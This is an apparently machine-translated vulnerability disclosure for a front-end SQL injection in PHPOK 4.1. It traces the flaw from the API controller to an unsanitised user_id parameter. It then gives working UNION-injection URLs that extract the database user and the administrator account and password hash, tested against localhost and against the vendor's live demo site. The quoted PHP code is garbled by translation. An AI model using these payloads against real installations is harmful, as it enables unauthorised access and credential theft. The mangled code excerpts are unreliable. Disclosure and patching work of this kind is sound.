PHPOK's latest foreground SQL Injection Vulnerability (administrator password can be obtained directly)
An SQL injection vulnerability exists in a function in the front-end of the latest PHPOK version. You can use UNION injection to obtain the administrator password.
PHPOK4.1 latest version)
Official Website: http://www.phpok.com/phpok.html
Official site Demo: http://demo.phpok.com
Here we will first sort out the frontend Data Processing process of the phpok system:
/framework/api/api_control.php => /framework/phpok_call.php => /framework/model/data.php
The PHPOK system has the SQL injection vulnerability in the foreground to obtain the "Total number of articles.
Vulnerability file: data_model class/framework/model/data. php for data Processing
Vulnerability function: obtains the total ($ rs) function of "total number of articles ".
This vulnerability should be different from the WooYun: phpok SQL Injection Vulnerability (Official Website). The injection vulnerability exists in functions of the same file. It is not a new vulnerability.
Vulnerability code: line 1 of the/framework/model/data. php file
// Get the total number of articles public function total ($ rs) {if (! $ Rs ['pid '] &! $ Rs ['php']) return false; if (! $ Rs ['pid ']) {$ tmp = $ this-> _ id ($ rs ['php'], $ this-> site ['id']); if (! $ Tmp | $ tmp ['type']! = 'Project') return false; $ rs ['pid'] = $ tmp ['id'];} if (! $ Rs ['pid ']) return false; // obtain project information $ project_rs = $ this-> _ project ($ rs ['pid'], false ); // determine whether a bound module exists. if (! $ Project_rs ['module']) return false; $ SQL = "SELECT count (l. id) FROM ". $ this-> db-> prefix. "list l"; $ SQL. = "JOIN ". $ this-> db-> prefix. "list _". $ project_rs ['module']. "ext ON (l. id = ext. id AND l. site_id = ext. site_id) "; $ SQL. = "WHERE l. project_id = ". $ rs ['pid']. "AND l. site_id = ". $ this-> site ['id']. ""; $ SQL. = "AND l. hidden = 0 "; if (! $ Rs ['not _ status']) $ SQL. = "AND l. status = 1 ";......... // Bind a member if ($ rs ['user _ id']) {$ SQL. = "AND l. user_id IN (". $ rs ['user _ id']. ")";} if ($ rs ['attr']) {$ SQL. = "AND l. attr LIKE '% ". $ rs ['attr']. "% '";} The "bind member" operation exists at row 332. The specific code is $ SQL. = "AND l. user_id IN (". $ rs ['user _ id']. ")";, you can see that $ rs ['user _ id'] is directly brought into the database for connection query. $ Rs ['user _ id'] is obtained from the unique parameter $ rs of the total function. Therefore, you need to perform data source backtracking. The/framework/phpok_call.php code is the call center class of the Foreground Data Stream. To put it bluntly, it is equivalent to a data handler. Let's analyze the code implementation of phpok_call.php. The phpok_call.php file 20th provides the phpok ($ id, $ rs = "") function at the row. The specific function is to call and process the data sent from the foreground, where $ id indicates the operation type, $ rs indicates the required parameter. The code is implemented as follows: // run the data call function phpok ($ id, $ rs = "") {if (! $ Id) return false; $ cacheId = ''; $ content =''; if ($ rs & is_string ($ rs) parse_str ($ rs, $ rs ); // determine whether the cache is enabled. if ($ GLOBALS ['app']-> cache-> status ()) {$ cacheId = $ GLOBALS ['app']-> cache-> key (array ('id' => $ id, 'rs '=> $ rs ), $ this-> site ['id'], "call"); $ content = $ GLOBALS ['app']-> cache-> read ($ cacheId );} if ($ content) return $ content; // determine whether it is a built-in parameter or call the data center if (substr ($ id )! = '_') {$ Call_rs = $ GLOBALS ['app']-> model ('call')-> get_rs ($ id, $ this-> site ['id']); if (! $ Call_rs) return false; if ($ call_rs ['ext ']) {$ call_rs_ext = unserialize ($ call_rs ['ext']); unset ($ call_rs ['ext '], $ call_rs ['id']); if ($ call_rs_ext) $ call_rs = array_merge ($ call_rs_ext, $ call_rs );} if ($ rs & is_array ($ rs) $ call_rs = array_merge ($ call_rs, $ rs);} else {$ list = array ('arclist', 'arc ', 'cate', 'catelist', 'project', 'sublist', 'parent', 'plist', 'fields', 'user', 'userlist', 'Total ', 'cate _ id', 'subcate'); $ id = Substr ($ id, 1 );...... If (! $ Id |! In_array ($ id, $ list) return false; $ call_rs = array_merge ($ rs, array ('Type _ id' => $ id ));} $ content = $ this-> load_call ($ call_rs); // call the load_call function phpok ($ id, $ rs = "") to summarize the following two lines of core code: $ call_rs = array_merge ($ rs, array ('Type _ id' => $ id); $ content = $ this-> load_call ($ call_rs ); the two parameters $ id, $ rs = "" of phpok are merged into an array. After passing in the load_call function, the load_call function is further tracked: function load_call ($ rs) In line 79) {$ content = ""; $ tmp = '_'. $ rs ['Type _ id']; if (in_a Rray ($ tmp, $ this-> mlist) {$ content = $ this-> $ tmp ($ rs);} return $ content ;} load_call will last execute $ this-> $ tmp ($ rs); Operation, $ tmp is to add the operation type $ id with the character '_', $ rs is the parameter required for this operation. We have previously analyzed that because the total function of the data_model class is injected, In the phpok_call class, we can call _ total ($ rs) to call data_model-> total ($ rs) in the code of Row 3, function _ total ($ rs) {return $ GLOBALS ['app']-> model ('data')-> total ($ rs );} now we need to analyze how the $ rs parameter is transmitted from the foreground to the phpok_call class. The phpok system processes Foreground Data through/framework/api/api_control.php. Here we will focus on the implementation of the api_control control class: The api_control class code is very simple, and there is a core function phpok_f (), in row 39th: function phpok_f () {$ id = $ this-> get ('id'); if (! $ Id) $ this-> json ('Unspecified data call center id'); $ param = $ this-> get ('param'); if ($ param) {$ intval = array ('pid ', 'cateid'); foreach ($ param as $ key => $ value) {if (in_array ($ key, $ intval )) {$ param [$ key] = intval ($ value);} else {$ param [$ key] = str_replace (array ('Union ', 'select', 'update ', 'delete', 'insert', '*', 'where', 'from'), "", $ value );}}} $ list = $ this-> call-> phpok ($ id, $ param); if (! $ List) $ this-> json ('OK', true, true, false); $ tpl = $ this-> get ("tpl "); if ($ tpl & $ this-> tpl-> check_exists ($ tpl) {$ this-> assign ("rslist", $ list ); $ info = $ this-> fetch ($ tpl); $ this-> json ($ info, true, true, false);} $ this-> json ($ list, true) ;}} phpok_f () get the parameter $ id = $ this-> get ('id') from the foreground '); and the parameter $ param = $ this-> get ('param');, $ list = $ this-> call-> phpok ($ id, $ param) is called at the end ); call the phpok of the phpok_call class. $ param is the previously analyzed operation parameter $ rs, which is an array.
The final data calling process is as follows:
api_control->phpok_f($id='total', $param) => phpok_call->phpok('total' , $rs = $param) => phpok_call->load_call(array($param,'total')) => phpok_call->_total($param) => data_model->total($param)
1) Local Test
Http: // 127.0.0.1/phpok4.1-0818/api. php? C = api & f = phpok & id = _ total & param [pid] = 42 & param [user_id] = 0) UNION + SELECT + concat (user (), 0x5e, version () LIMIT + 1, 1% 23
Http: // 127.0.0.1/phpok4.1-0818/api. php? C = api & f = phpok & id = _ total & param [pid] = 42 & param [user_id] = 0) UNION + SELECT + (SELECT + CONCAT (account, 0x5e, pass) + FROM + qinggan_adm + LIMIT + 1) LIMIT + 1% 23
2) official demonstration site test
Http://demo.phpok.com/api.php? C = api & f = phpok & id = _ total & param [pid] = 42 & param [user_id] = 0) UNION + SELECT + concat (user (), 0x5e, version () LIMIT + 1, 1% 23
Obtain the administrator password:
Http://demo.phpok.com/api.php? C = api & f = phpok & id = _ total & param [pid] = 42 & param [user_id] = 0) UNION + SELECT + (SELECT + CONCAT (account, 0x5e, pass) + FROM + qinggan_adm + LIMIT + 1) LIMIT + 1% 23
Solution:
Intval Processing